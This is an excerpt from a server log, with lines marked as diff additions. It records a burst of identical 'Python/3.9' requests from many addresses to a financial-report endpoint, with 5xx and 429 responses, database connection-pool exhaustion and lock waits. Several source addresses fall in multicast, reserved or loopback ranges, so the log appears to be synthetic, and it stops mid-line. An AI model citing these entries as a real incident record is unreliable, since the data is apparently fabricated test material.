+Aug 15 10:02:55 nginx[80]: 236.99.103.115 - - [15/Aug/2025:10:02:55 +0000] "GET /api/v1/reports/generate?type=full_financials HTTP/1.1" 503 52 "-" "Python/3.9" +Aug 15 10:03:00 nginx[80]: 67.182.51.66 - - [15/Aug/2025:10:03:00 +0000] "GET /api/v1/reports/generate?type=full_financials HTTP/1.1" 503 52 "-" "Python/3.9" +Aug 15 10:03:00 nginx[80]: 201.103.131.31 - - [15/Aug/2025:10:03:00 +0000] "GET /api/v1/reports/generate?type=full_financials HTTP/1.1" 500 52 "-" "Python/3.9" +Aug 15 10:03:00 nginx[80]: 236.99.103.115 - - [15/Aug/2025:10:03:00 +0000] "GET /api/v1/reports/generate?type=full_financials HTTP/1.1" 503 52 "-" "Python/3.9" +Aug 15 10:03:00 nginx[80]: 173.98.52.168 - - [15/Aug/2025:10:03:00 +0000] "GET /api/v1/reports/generate?type=full_financials HTTP/1.1" 504 52 "-" "Python/3.9" +Aug 15 10:03:00 web-app[2345]: ERROR: Connection pool exhausted. Could not get a DB connection. +Aug 15 10:03:00 web-app[2345]: CRITICAL: Maximum execution time of 30 seconds exceeded for request to /api/v1/reports/generate?type=full_financials +Aug 15 10:03:05 nginx[80]: 169.208.212.141 - - [15/Aug/2025:10:03:05 +0000] "GET /api/v1/reports/generate?type=full_financials HTTP/1.1" 503 52 "-" "Python/3.9" +Aug 15 10:03:05 nginx[80]: 201.103.131.31 - - [15/Aug/2025:10:03:05 +0000] "GET /api/v1/reports/generate?type=full_financials HTTP/1.1" 503 52 "-" "Python/3.9" +Aug 15 10:03:05 nginx[80]: 101.120.85.128 - - [15/Aug/2025:10:03:05 +0000] "GET /api/v1/reports/generate?type=full_financials HTTP/1.1" 503 52 "-" "Python/3.9" +Aug 15 10:03:05 nginx[80]: 238.142.245.149 - - [15/Aug/2025:10:03:05 +0000] "GET /api/v1/reports/generate?type=full_financials HTTP/1.1" 429 52 "-" "Python/3.9" +Aug 15 10:03:05 nginx[80]: 51.86.140.108 - - [15/Aug/2025:10:03:05 +0000] "GET /api/v1/reports/generate?type=full_financials HTTP/1.1" 503 52 "-" "Python/3.9" +Aug 15 10:03:05 nginx[80]: 101.120.85.128 - - [15/Aug/2025:10:03:05 +0000] "GET /api/v1/reports/generate?type=full_financials HTTP/1.1" 503 52 "-" "Python/3.9" +Aug 15 10:03:10 nginx[80]: 206.157.147.188 - - [15/Aug/2025:10:03:10 +0000] "GET /api/v1/reports/generate?type=full_financials HTTP/1.1" 504 52 "-" "Python/3.9" +Aug 15 10:03:10 nginx[80]: 139.171.214.21 - - [15/Aug/2025:10:03:10 +0000] "GET /api/v1/reports/generate?type=full_financials HTTP/1.1" 500 52 "-" "Python/3.9" +Aug 15 10:03:10 nginx[80]: 82.10.234.79 - - [15/Aug/2025:10:03:10 +0000] "GET /api/v1/reports/generate?type=full_financials HTTP/1.1" 503 52 "-" "Python/3.9" +Aug 15 10:03:15 nginx[80]: 95.24.50.187 - - [15/Aug/2025:10:03:15 +0000] "GET /api/v1/reports/generate?type=full_financials HTTP/1.1" 500 52 "-" "Python/3.9" +Aug 15 10:03:15 nginx[80]: 246.244.93.63 - - [15/Aug/2025:10:03:15 +0000] "GET /api/v1/reports/generate?type=full_financials HTTP/1.1" 504 52 "-" "Python/3.9" +Aug 15 10:03:15 nginx[80]: 59.255.215.155 - - [15/Aug/2025:10:03:15 +0000] "GET /api/v1/reports/generate?type=full_financials HTTP/1.1" 503 52 "-" "Python/3.9" +Aug 15 10:03:15 web-app[2345]: ERROR: Connection pool exhausted. Could not get a DB connection. +Aug 15 10:03:20 nginx[80]: 201.103.131.31 - - [15/Aug/2025:10:03:20 +0000] "GET /api/v1/reports/generate?type=full_financials HTTP/1.1" 500 52 "-" "Python/3.9" +Aug 15 10:03:20 nginx[80]: 236.99.103.115 - - [15/Aug/2025:10:03:20 +0000] "GET /api/v1/reports/generate?type=full_financials HTTP/1.1" 503 52 "-" "Python/3.9" +Aug 15 10:03:20 nginx[80]: 95.24.50.187 - - [15/Aug/2025:10:03:20 +0000] "GET /api/v1/reports/generate?type=full_financials HTTP/1.1" 503 52 "-" "Python/3.9" +Aug 15 10:03:20 nginx[80]: 7.4.125.149 - - [15/Aug/2025:10:03:20 +0000] "GET /api/v1/reports/generate?type=full_financials HTTP/1.1" 429 52 "-" "Python/3.9" +Aug 15 10:03:20 web-app[2345]: CRITICAL: Maximum execution time of 30 seconds exceeded for request to /api/v1/reports/generate?type=full_financials +Aug 15 10:03:20 postgres[5678]: LOG: process 12964 still waiting for ShareLock on transaction 5976 after 1000.125 ms +Aug 15 10:03:25 nginx[80]: 16.227.223.87 - - [15/Aug/2025:10:03:25 +0000] "GET /api/v1/reports/generate?type=full_financials HTTP/1.1" 504 52 "-" "Python/3.9" +Aug 15 10:03:25 nginx[80]: 238.142.245.149 - - [15/Aug/2025:10:03:25 +0000] "GET /api/v1/reports/generate?type=full_financials HTTP/1.1" 500 52 "-" "Python/3.9" +Aug 15 10:03:25 nginx[80]: 6.175.20.195 - - [15/Aug/2025:10:03:25 +0000] "GET /api/v1/reports/generate?type=full_financials HTTP/1.1" 503 52 "-" "Python/3.9" +Aug 15 10:03:25 nginx[80]: 77.238.64.157 - - [15/Aug/2025:10:03:25 +0000] "GET /api/v1/reports/generate?type=full_financials HTTP/1.1" 504 52 "-" "Python/3.9" +Aug 15 10:03:25 nginx[80]: 95.24.50.187 - - [15/Aug/2025:10:03:25 +0000] "GET /api/v1/reports/generate?type=full_financials HTTP/1.1" 504 52 "-" "Python/3.9" +Aug 15 10:03:25 nginx[80]: 135.62.172.45 - - [15/Aug/2025:10:03:25 +0000] "GET /api/v1/reports/generate?type=full_financials HTTP/1.1" 500 52 "-" "Python/3.9" +Aug 15 10:03:25 nginx[80]: 92.57.53.121 - - [15/Aug/2025:10:03:25 +0000] "GET /api/v1/reports/generate?type=full_financials HTTP/1.1" 503 52 "-" "Python/3.9" +Aug 15 10:03:30 nginx[80]: 246.244.93.63 - - [15/Aug/2025:10:03:30 +0000] "GET /api/v1/reports/generate?type=full_financials HTTP/1.1" 503 52 "-" "Python/3.9" +Aug 15 10:03:30 nginx[80]: 95.58.2.112 - - [15/Aug/2025:10:03:30 +0000] "GET /api/v1/reports/generate?type=full_financials HTTP/1.1" 429 52 "-" "Python/3.9" +Aug 15 10:03:30 nginx[80]: 201.103.131.31 - - [15/Aug/2025:10:03:30 +0000] "GET /api/v1/reports/generate?type=full_financials HTTP/1.1" 503 52 "-" "Python/3.9" +Aug 15 10:03:30 nginx[80]: 207.77.242.110 - - [15/Aug/2025:10:03:30 +0000] "GET /api/v1/reports/generate?type=full_financials HTTP/1.1" 500 52 "-" "Python/3.9" +Aug 15 10:03:30 web-app[2345]: ERROR: Connection pool exhausted. Could not get a DB connection. +Aug 15 10:03:35 nginx[80]: 187.85.97.85 - - [15/Aug/2025:10:03:35 +0000] "GET /api/v1/reports/generate?type=full_financials HTTP/1.1" 429 52 "-" "Python/3.9" +Aug 15 10:03:35 nginx[80]: 57.62.203.214 - - [15/Aug/2025:10:03:35 +0000] "GET /api/v1/reports/generate?type=full_financials HTTP/1.1" 429 52 "-" "Python/3.9" +Aug 15 10:03:35 nginx[80]: 207.77.242.110 - - [15/Aug/2025:10:03:35 +0000] "GET /api/v1/reports/generate?type=full_financials HTTP/1.1" 503 52 "-" "Python/3.9" +Aug 15 10:03:40 nginx[80]: 139.171.214.21 - - [15/Aug/2025:10:03:40 +0000] "GET /api/v1/reports/generate?type=full_financials HTTP/1.1" 503 52 "-" "Python/3.9" +Aug 15 10:03:40 nginx[80]: 67.182.51.66 - - [15/Aug/2025:10:03:40 +0000] "GET /api/v1/reports/generate?type=full_financials HTTP/1.1" 503 52 "-" "Python/3.9" +Aug 15 10:03:40 nginx[80]: 57.62.203.214 - - [15/Aug/2025:10:03:40 +0000] "GET /api/v1/reports/generate?type=full_financials HTTP/1.1" 429 52 "-" "Python/3.9" +Aug 15 10:03:40 nginx[80]: 232.141.2.101 - - [15/Aug/2025:10:03:40 +0000] "GET /api/v1/reports/generate?type=full_financials HTTP/1.1" 503 52 "-" "Python/3.9" +Aug 15 10:03:40 nginx[80]: 206.157.147.188 - - [15/Aug/2025:10:03:40 +0000] "GET /api/v1/reports/generate?type=full_financials HTTP/1.1" 503 52 "-" "Python/3.9" +Aug 15 10:03:40 nginx[80]: 134.240.105.194 - - [15/Aug/2025:10:03:40 +0000] "GET /api/v1/reports/generate?type=full_financials HTTP/1.1" 503 52 "-" "Python/3.9" +Aug 15 10:03:40 web-app[2345]: CRITICAL: Maximum execution time of 30 seconds exceeded for request to /api/v1/reports/generate?type=full_financials +Aug 15 10:03:45 nginx[80]: 186.135.39.217 - - [15/Aug/2025:10:03:45 +0000] "GET /api/v1/reports/generate?type=full_financials HTTP/1.1" 504 52 "-" "Python/3.9" +Aug 15 10:03:45 nginx[80]: 95.24.50.187 - - [15/Aug/2025:10:03:45 +0000] "GET /api/v1/reports/generate?type=full_financials HTTP/1.1" 503 52 "-" "Python/3.9" +Aug 15 10:03:45 nginx[80]: 173.98.52.168 - - [15/Aug/2025:10:03:45 +0000] "GET /api/v1/reports/generate?type=full_financials HTTP/1.1" 503 52 "-" "Python/3.9" +Aug 15 10:03:45 nginx[80]: 67.182.51.66 - - [15/Aug/2025:10:03:45 +0000] "GET /api/v1/reports/generate?type=full_financials HTTP/1.1" 429 52 "-" "Python/3.9" +Aug 15 10:03:45 nginx[80]: 171.135.11.91 - - [15/Aug/2025:10:03:45 +0000] "GET /api/v1/reports/generate?type=full_financials HTTP/1.1" 503 52 "-" "Python/3.9" +Aug 15 10:03:45 nginx[80]: 246.244.93.63 - - [15/Aug/2025:10:03:45 +0000] "GET /api/v1/reports/generate?type=full_financials HTTP/1.1" 503 52 "-" "Python/3.9" +Aug 15 10:03:45 nginx[80]: 192.49.179.237 - - [15/Aug/2025:10:03:45 +0000] "GET /api/v1/reports/generate?type=full_financials HTTP/1.1" 503 52 "-" "Python/3.9" +Aug 15 10:03:45 web-app[2345]: ERROR: Connection pool exhausted. Could not get a DB connection. +Aug 15 10:03:45 postgres[5678]: LOG: process 16347 still waiting for ShareLock on transaction 5379 after 1000.125 ms +Aug 15 10:03:50 nginx[80]: 101.120.85.128 - - [15/Aug/2025:10:03:50 +0000] "GET /api/v1/reports/generate?type=full_financials HTTP/1.1" 500 52 "-" "Python/3.9" +Aug 15 10:03:50 nginx[80]: 57.62.203.214 - - [15/Aug/2025:10:03:50 +0000] "GET /api/v1/reports/generate?type=full_financials HTTP/1.1" 429 52 "-" "Python/3.9" +Aug 15 10:03:50 nginx[80]: 139.171.214.21 - - [15/Aug/2025:10:03:50 +0000] "GET /api/v1/reports/generate?type=full_financials HTTP/1.1" 503 52 "-" "Python/3.9" +Aug 15 10:03:55 nginx[80]: 89.16.201.49 - - [15/Aug/2025:10:03:55 +0000] "GET /api/v1/reports/generate?type=full_financials HTTP/1.1" 504 52 "-" "Python/3.9" +Aug 15 10:03:55 nginx[80]: 12.119.137.225 - - [15/Aug/2025:10:03:55 +0000] "GET /api/v1/reports/generate?type=full_financials HTTP/1.1" 503 52 "-" "Python/3.9" +Aug 15 10:03:55 nginx[80]: 13.110.38.43 - - [15/Aug/2025:10:03:55 +0000] "GET /api/v1/reports/generate?type=full_financials HTTP/1.1" 503 52 "-" "Python/3.9" +Aug 15 10:04:00 nginx[80]: 59.71.26.124 - - [15/Aug/2025:10:04:00 +0000] "GET /api/v1/reports/generate?type=full_financials HTTP/1.1" 504 52 "-" "Python/3.9" +Aug 15 10:04:00 nginx[80]: 187.85.97.85 - - [15/Aug/2025:10:04:00 +0000] "GET /api/v1/reports/generate?type=full_financials HTTP/1.1" 503 52 "-" "Python/3.9" +Aug 15 10:04:00 nginx[80]: 139.171.214.21 - - [15/Aug/2025:10:04:00 +0000] "GET /api/v1/reports/generate?type=full_financials HTTP/1.1" 503 52 "-" "Python/3.9" +Aug 15 10:04:00 nginx[80]: 221.45.145.143 - - [15/Aug/2025:10:04:00 +0000] "GET /api/v1/reports/generate?type=full_financials HTTP/1.1" 503 52 "-" "Python/3.9" +Aug 15 10:04:00 web-app[2345]: ERROR: Connection pool exhausted. Could not get a DB connection. +Aug 15 10:04:00 web-app[2345]: CRITICAL: Maximum execution time of 30 seconds exceeded for request to /api/v1/reports/generate?type=full_financials +Aug 15 10:04:05 nginx[80]: 101.120.85.128 - - [15/Aug/2025:10:04:05 +0000] "GET /api/v1/reports/generate?type=full_financials HTTP/1.1" 429 52 "-" "Python/3.9" +Aug 15 10:04:05 nginx[80]: 59.255.215.155 - - [15/Aug/2025:10:04:05 +0000] "GET /api/v1/reports/generate?type=full_financials HTTP/1.1" 503 52 "-" "Python/3.9" +Aug 15 10:04:05 nginx[80]: 187.85.97.85 - - [15/Aug/2025:10:04:05 +0000] "GET /api/v1/reports/generate?type=full_financials HTTP/1.1" 503 52 "-" "Python/3.9" +Aug 15 10:04:05 nginx[80]: 238.142.245.149 - - [15/Aug/2025:10:04:05 +0000] "GET /api/v1/reports/generate?type=full_financials HTTP/1.1" 503 52 "-" "Python/3.9" +Aug 15 10:04:10 nginx[80]: 95.58.2.112 - - [15/Aug/2025:10:04:10 +0000] "GET /api/v1/reports/generate?type=full_financials HTTP/1.1" 500 52 "-" "Python/3.9" +Aug 15 10:04:10 nginx[80]: 59.255.215.155 - - [15/Aug/2025:10:04:10 +0000] "GET /api/v1/reports/generate?type=full_financials HTTP/1.1" 429 52 "-" "Python/3.9" +Aug 15 10:04:10 nginx[80]: 232.141.2.101 - - [15/Aug/2025:10:04:10 +0000] "GET /api/v1/reports/generate?type=full_financials HTTP/1.1" 500 52 "-" "Python/3.9" +Aug 15 10:04:10 nginx[80]: 95.24.50.187 - - [15/Aug/2025:10:04:10 +0000] "GET /api/v1/reports/generate?type=full_financials HTTP/1.1" 500 52 "-" "Python/3.9" +Aug 15 10:04:10 nginx[80]: 187.85.97.85 - - [15/Aug/2025:10:04:10 +0000] "GET /api/v1/reports/generate?type=full_financials HTTP/1.1" 503 52 "-" "Python/3.9" +Aug 15 10:04:10 nginx[80]: 206.157.147.188 - - [15/Aug/2025:10:04:10 +0000] "GET /api/v1/reports/generate?type=full_financials HTTP/1.1" 504 52 "-" "Python/3.9" +Aug 15 10:04:10 nginx[80]: 246.224.31.210 - - [15/Aug/2025:10:04:10 +0000] "GET /api/v1/reports/generate?type=full_financials HTTP/1.1" 503 52 "-" "Python/3.9" +Aug 15 10:04:10 postgres[5678]: LOG: process 10964 still waiting for ShareLock on transaction 5003 after 1000.125 ms +Aug 15 10:04:15 nginx[80]: 203.113.207.132 - - [15/Aug/2025:10:04:15 +0000] "GET /api/v1/reports/generate?type=full_financials HTTP/1.1" 500 52 "-" "Python/3.9" +Aug 15 10:04:15 nginx[80]: 206.157.147.188 - - [15/Aug/2025:10:04:15 +0000] "GET /api/v1/reports/generate?type=full_financials HTTP/1.1" 429 52 "-" "Python/3.9" +Aug 15 10:04:15 nginx[80]: 169.208.212.141 - - [15/Aug/2025:10:04:15 +0000] "GET /api/v1/reports/generate?type=full_financials HTTP/1.1" 503 52 "-" "Python/3.9" +Aug 15 10:04:15 web-app[2345]: ERROR: Connection pool exhausted. Could not get a DB connection. +Aug 15 10:04:20 nginx[80]: 92.57.53.121 - - [15/Aug/2025:10:04:20 +0000] "GET /api/v1/reports/generate?type=full_financials HTTP/1.1" 504 52 "-" "Python/3.9" +Aug 15 10:04:20 nginx[80]: 206.157.147.188 - - [15/Aug/2025:10:04:20 +0000] "GET /api/v1/reports/generate?type=full_financials HTTP/1.1" 429 52 "-" "Python/3.9" +Aug 15 10:04:20 nginx[80]: 103.157.153.134 - - [15/Aug/2025:10:04:20 +0000] "GET /api/v1/reports/generate?type=full_financials HTTP/1.1" 500 52 "-" "Python/3.9" +Aug 15 10:04:20 nginx[80]: 59.71.26.124 - - [15/Aug/2025:10:04:20 +0000] "GET /api/v1/reports/generate?type=full_financials HTTP/1.1" 504 52 "-" "Python/3.9" +Aug 15 10:04:20 nginx[80]: 103.157.153.134 - - [15/Aug/2025:10:04:20 +0000] "GET /api/v1/reports/generate?type=full_financials HTTP/1.1" 503 52 "-" "Python/3.9" +Aug 15 10:04:20 nginx[80]: 101.120.85.128 - - [15/Aug/2025:10:04:20 +0000] "GET /api/v1/reports/generate?type=full_financials HTTP/1.1" 503 52 "-" "Python/3.9" +Aug 15 10:04:20 nginx[80]: 92.57.53.121 - - [15/Aug/2025:10:04:20 +0000] "GET /api/v1/reports/generate?type=full_financials HTTP/1.1" 503 52 "-" "Python/3.9" +Aug 15 10:04:20 web-app[2345]: CRITICAL: Maximum execution time of 30 seconds exceeded for request to /api/v1/reports/generate?type=full_financials +Aug 15 10:04:25 nginx[80]: 228.44.154.120 - - [15/Aug/2025:10:04:25 +0000] "GET /api/v1/reports/generate?type=full_financials HTTP/1.1" 429 52 "-" "Python/3.9" +Aug 15 10:04:25 nginx[80]: 221.45.145.143 - - [15/Aug/2025:10:04:25 +0000] "GET /api/v1/reports/generate?type=full_financials HTTP/1.1" 504 52 "-" "Python/3.9" +Aug 15 10:04:25 nginx[80]: 135.62.172.45 - - [15/Aug/2025:10:04:25 +0000] "GET /api/v1/reports/generate?type=full_financials HTTP/1.1" 429 52 "-" "Python/3.9" +Aug 15 10:04:25 nginx[80]: 22.36.52.200 - - [15/Aug/2025:10:04:25 +0000] "GET /api/v1/reports/generate?type=full_financials HTTP/1.1" 503 52 "-" "Python/3.9" +Aug 15 10:04:25 nginx[80]: 246.224.31.210 - - [15/Aug/2025:10:04:25 +0000] "GET /api/v1/reports/generate?type=full_financials HTTP/1.1" 503 52 "-" "Python/3.9" +Aug 15 10:04:30 nginx[80]: 228.44.154.120 - - [15/Aug/2025:10:04:30 +0000] "GET /api/v1/reports/generate?type=full_financials HTTP/1.1" 503 52 "-" "Python/3.9" +Aug 15 10:04:30 nginx[80]: 28.82.91.144 - - [15/Aug/2025:10:04:30 +0000] "GET /api/v1/reports/generate?type=full_financials HTTP/1.1" 503 52 "-" "Python/3.9" +Aug 15 10:04:30 nginx[80]: 236.99.103.115 - - [15/Aug/2025:10:04:30 +0000] "GET /api/v1/reports/generate?type=full_financials HTTP/1.1" 429 52 "-" "Python/3.9" +Aug 15 10:04:30 web-app[2345]: ERROR: Connection pool exhausted. Could not get a DB connection. +Aug 15 10:04:35 nginx[80]: 139.171.214.21 - - [15/Aug/2025:10:04:35 +0000] "GET /api/v1/reports/generate?type=full_financials HTTP/1.1" 503 52 "-" "Python/3.9" +Aug 15 10:04:35 nginx[80]: 135.62.172.45 - - [15/Aug/2025:10:04:35 +0000] "GET /api/v1/reports/generate?type=full_financials HTTP/1.1" 503 52 "-" "Python/3.9" +Aug 15 10:04:35 nginx[80]: 192.49.179.237 - - [15/Aug/2025:10:04:35 +0000] "GET /api/v1/reports/generate?type=full_financials HTTP/1.1" 504 52 "-" "Python/3.9" +Aug 15 10:04:35 nginx[80]: 246.224.31.210 - - [15/Aug/2025:10:04:35 +0000] "GET /api/v1/reports/generate?type=full_financials HTTP/1.1" 503 52 "-" "Python/3.9" +Aug 15 10:04:35 nginx[80]: 186.135.39.217 - - [15/Aug/2025:10:04:35 +0000] "GET /api/v1/reports/generate?type=full_financials HTTP/1.1" 503 52 "-" "Python/3.9" +Aug 15 10:04:35 nginx[80]: 113.59.203.138 - - [15/Aug/2025:10:04:35 +0000] "GET /api/v1/reports/generate?type=full_financials HTTP/1.1" 500 52 "-" "Python/3.9" +Aug 15 10:04:35 nginx[80]: 246.224.31.210 - - [15/Aug/2025:10:04:35 +0000] "GET /api/v1/reports/generate?type=full_financials HTTP/1.1" 500 52 "-" "Python/3.9" +Aug 15 10:04:35 postgres[5678]: LOG: process 10157 still waiting for ShareLock on transaction 5417 after 1000.125 ms +Aug 15 10:04:40 nginx[80]: 193.254.182.65 - - [15/Aug/2025:10:04:40 +0000] "GET /api/v1/reports/generate?type=full_financials HTTP/1.1" 503 52 "-" "Python/3.9" +Aug 15 10:04:40 nginx[80]: 203.113.207.132 - - [15/Aug/2025:10:04:40 +0000] "GET /api/v1/reports/generate?type=full_financials HTTP/1.1" 429 52 "-" "Python/3.9" +Aug 15 10:04:40 nginx[80]: 207.77.242.110 - - [15/Aug/2025:10:04:40 +0000] "GET /api/v1/reports/generate?type=full_financials HTTP/1.1" 429 52 "-" "Python/3.9" +Aug 15 10:04:40 web-app[2345]: CRITICAL: Maximum execution time of 30 seconds exceeded for request to /api/v1/reports/generate?type=full_financials +Aug 15 10:04:45 nginx[80]: 201.103.131.31 - - [15/Aug/2025:10:04:45 +0000] "GET /api/v1/reports/generate?type=full_financials HTTP/1.1" 503 52 "-" "Python/3.9" +Aug 15 10:04:45 nginx[80]: 13.110.38.43 - - [15/Aug/2025:10:04:45 +0000] "GET /api/v1/reports/generate?type=full_financials HTTP/1.1" 500 52 "-" "Python/3.9" +Aug 15 10:04:45 nginx[80]: 238.142.245.149 - - [15/Aug/2025:10:04:45 +0000] "GET /api/v1/reports/generate?type=full_financials HTTP/1.1" 503 52 "-" "Python/3.9" +Aug 15 10:04:45 nginx[80]: 139.171.214.21 - - [15/Aug/2025:10:04:45 +0000] "GET /api/v1/reports/generate?type=full_financials HTTP/1.1" 429 52 "-" "Python/3.9" +Aug 15 10:04:45 nginx[80]: 12.119.137.225 - - [15/Aug/2025:10:04:45 +0000] "GET /api/v1/reports/generate?type=full_financials HTTP/1.1" 503 52 "-" "Python/3.9" +Aug 15 10:04:45 web-app[2345]: ERROR: Connection pool exhausted. Could not get a DB connection. +Aug 15 10:04:50 nginx[80]: 76.220.168.22 - - [15/Aug/2025:10:04:50 +0000] "GET /api/v1/reports/generate?type=full_financials HTTP/1.1" 503 52 "-" "Python/3.9" +Aug 15 10:04:50 nginx[80]: 113.59.203.138 - - [15/Aug/2025:10:04:50 +0000] "GET /api/v1/reports/generate?type=full_financials HTTP/1.1" 500 52 "-" "Python/3.9" +Aug 15 10:04:50 nginx[80]: 127.10.138.176 - - [15/Aug/2025:10:04:50 +0000] "GET /api/v1/reports/generate?type=full_financials HTTP/1.1" 503 52 "-" "Python/3.9" +Aug 15 10:04:50 nginx[80]: 232.141.2.101 - - [15/Aug/2025:10:04:50 +0000] "GET /api/v1/reports/generate?type=full_financials HTTP/1.1" 503 52 "-" "Python/3.9" +Aug 15 10:04:50 nginx[80]: 13.110.38.43 - - [15/Aug/2025:10:04:50 +0000] "GET /api/v1/reports/generate?type=full_financials HTTP/1.1" 429 52 "-" "Python/3.9" +Aug 15 10:04:50 nginx[80]: 187.85.97.85 - - [15/Aug/2025:10:04:50 +0000] "GET /api/v1/reports/generate?type=full_financials HTTP/1.1" 500 52 "-" "Python/3.9" +Aug 15 10:04:50 nginx[80]: 12.119.137.225 - - [15/Aug/2025:10:04:50 +0000] "GET /api/v1/reports/generate?type=full_financials HTTP/1.1" 503 52 "-" "Python/3.9" +Aug 15 10:04:55 nginx[80]: 117.119.13.79 - - [15/Aug/2025:10:04:55 +0000] "GET /api/v1/reports/generate?type=full_financials HTTP/1.1" 503 52 "-" "Python/3.9" +Aug 15 10:04:55 nginx[80]: 232.141.2.101 - - [15/Aug/2025:10:04:55 +0000] "GET /api/v1/reports/generate?type=full_financials HTTP/1.1" 503 52 "-" "Python/3.9" +Aug 15 10:04:55 nginx[80]: 59.71.26.124 - - [15/Aug/2025:10:04:55 +0000] "GET /api/v1/reports/generate?type=full_financials HTTP/1.1" 500 52 "-" "Python/3.9" +Aug 15 10:04:55 nginx[80]: 206.157.147.188 - - [15/Aug/2025:10:04:55 +0000] "GET /api/v1/reports/generate?type=full_financials HTTP/1.1" 503 52 "-" "Python/3.9" +Aug 15 10:04:55 nginx[80]: 162.187.29.143 - - [15/Aug/2025:10:04:55 +0000] "GET /api/v1/reports/generate?type=full_financials HTTP/1.1" 503 52 "-" "Python/3.9" +Aug 15 10:04:55 nginx[80]: 59.255.215.155 - - [15/Aug/2025:10:04:55 +0000] "GET /api/v1/reports/generate?type=full_financials HTTP/1.1" 503 52 "-" "Python/3.9" +Aug 15 10:05:00 nginx[80]: 173.98.52.168 - - [15/Aug/2025:10:05:00 +0000] "GET /api/v1/reports/generate?type=full_financials HTTP/1.1" 500 52 "-" "Python/3.9" +Aug 15 10:05:00 nginx[80]: 238.142.245.149 - - [15/Aug/2025:10:05:00 +0000] "GET /api/v1/reports/generate?type=full_financials HTTP/1.1" 503 52 "-" "Python/3.9" +Aug 15 10:05:00 nginx[80]: 127.10.138.176 - - [15/Aug/2025:10:05:00 +0000] "GET /api/v1/reports/generate?type=full_financials HTTP/1.1" 429 52 "-" "Python/3.9" +Aug 15 10:05:00 nginx[80]: 246.224.31.210 - - [15/Aug/2025:10:05:00 +0000] "GET /api/v1/reports/generate?type=full_financials HTTP/1.1" 500 52 "-" "Python/3.9" +Aug 15 10:05:00 web-app[2345]: ERROR: Connection pool exhausted. Could not get a DB connection. +Aug 15 10:05:00 web-app[2345]: CRITICAL: Maximum execution time of 30 seconds exceeded for request to /api/v1/reports/generate?type=full_financials +Aug 15 10:05:00 postgres[5678]: LOG: process 15989 still waiting for ShareLock on transaction 5288 after 1000.125 ms +Aug 15 10:05:05 nginx[80]: 82.10.234.79 - - [15/Aug/2025:10:05:05 +0000] "GET /api/v1/reports/generate?type=full_financials HTTP/1.1" 503 52 "-" "Python/3.9" +Aug 15 10:05:05 nginx[80]: 95.58.2.112 - - [15/Aug/2025:10:05:05 +0000] "GET /api/v1/reports/generate?type=full_financials HTTP/1.1" 503 52 "-" "Python/3.9" +Aug 15 10:05:05 nginx[80]: 57.62.203.214 - - [15/Aug/2025:10:05:05 +0000] "GET /api/v1/reports/generate?type=full_financials HTTP/1.1" 503 52 "-" "Python/3.9" +Aug 15 10:05:05 nginx[80]: 103.76.138.72 - - [15/Aug/2025:10:05:05 +0000] "GET /api/v1/reports/generate?type=full_financials HTTP/1.1" 503 52 "-" "Python/3.9" +Aug 15 10:05:10 nginx[80]: 127.10.138.176 - - [15/Aug/2025:10:05:10 +0000] "GET /api/v1/reports/generate?type=full_financials HTTP/1.1" 503 52 "-" "Python/3.9" +Aug 15 10:05:10 nginx[80]: 173.98.52.168 - - [15/Aug/2025:10:05:10 +0000] "GET /api/v1/reports/generate?type=full_financials HTTP/1.1" 503 52 "-" "Python/3.9" +Aug 15 10:05:10 nginx[80]: 59.71.26.124 - - [15/Aug/2025:10:05:10 +0000] "GET /api/v1/reports/generate?type=full_financials HTTP/1.1" 500 52 "-" "Python/3.9" +Aug 15 10:05:10 nginx[80]: 76.220.168.22 - - [15/Aug/2025:10:05:10 +0000] "GET /api/v1/reports/generate?type=full_financials HTTP/1.1" 504 52 "-" "Python/3.9" +Aug 15 10:05:10 nginx[80]: 59.255.215.155 - - [15/Aug/2025:10:05:10 +0000] "GET /api/v1/reports/generate?type=full_financials HTTP/1.1" 500 52 "-" "Python/3.9" +Aug 15 10:05:10 nginx[80]: 7.4.125.149 - - [15/Aug/2025:10:05:10 +0000] "GET /api/v1/reports/generate?type=full_financials HTTP/1.1" 504 52 "-" "Python/3.9" +Aug 15 10:05:15 nginx[80]: 28.82.91.144 - - [15/Aug/2025:10:05:15 +0000] "GET /api/v1/reports/generate?type=full_financials HTTP/1.1" 503 52 "-" "Python/3.9" +Aug 15 10:05:15 nginx[80]: 95.58.2.112 - - [15/Aug/2025:10:05:15 +0000] "GET /api/v1/reports/generate?type=full_financials HTTP/1.1" 503 52 "-" "Python/3.9" +Aug 15 10:05:15 nginx[80]: 193.254.182.65 - - [15/Aug/2025:10:05:15 +0000] "GET /api/v1/reports/generate?type=full_financials HTTP/1.1" 429 52 "-" "Python/3.9" +Aug 15 10:05:15 nginx[80]: 139.171.214.21 - - [15/Aug/2025:10:05:15 +0000] "GET /api/v1/reports/generate?type=full_financials HTTP/1.1" 504 52 "-" "Python/3.9" +Aug 15 10:05:15 nginx[80]: 246.224.31.210 - - [15/Aug/2025:10:05:15 +0000] "GET /api/v1/reports/generate?type=full_financials HTTP/1.1" 500 52 "-" "Python/3.9" +Aug 15 10:05:15 web-app[2345]: ERROR: Connection pool exhausted. Could not get a DB connection. +Aug 15 10:05:20 nginx[80]: 66.245.115.221 - - [15/Aug/2025:10:05:20 +0000] "GET /api/v1/reports/generate?type=full_financials HTTP/1.1" 503 52 "-" "Python/3.9" +Aug 15 10:05:20 nginx[80]: 206.157.147.188 - - [15/Aug/2025:10:05:20 +0000] "GET /api/v1/reports/generate?type=full_financials HTTP/1.1" 429 52 "-" "Python/3.9" +Aug 15 10:05:20 nginx[80]: 169.208.212.141 - - [15/Aug/2025:10:05:20 +0000] "GET /api/v1/reports/generate?type=full_financials HTTP/1.1" 503 52 "-" "Python/3.9" +Aug 15 10:05:20 web-app[2345]: CRITICAL: Maximum execution time of 30 seconds exceeded for request to /api/v1/reports/generate?type=full_financials +Aug 15 10:05:25 nginx[80]: 113.59.203.138 - - [15/Aug/2025:10:05:25 +0000] "GET /api/v1/reports/generate?type=full_financials HTTP/1.1" 503 52 "-" "Python/3.9" +Aug 15 10:05:25 nginx[80]: 59.255.215.155 - - [15/Aug/2025:10:05:25 +0000] "GET /api/v1/reports/generate?type=full_financials HTTP/1.1" 429 52 "-" "Python/3.9" +Aug 15 10:05:25 nginx[80]: 246.224.31.210 - - [15/Aug/2025:10:05:25 +0000] "GET /api/v1/reports/generate?type=full_financials HTTP/1.1" 503 52 "-" "Python/3.9" +Aug 15 10:05:25 nginx[80]: 103.157.153.134 - - [15/Aug/2025:10:05:25 +0000] "GET /api/v1/reports/generate?type=full_financials HTTP/1.1" 503 52 "-" "Python/3.9" +Aug 15 10:05:25 nginx[80]: 51.86.140.108 - - 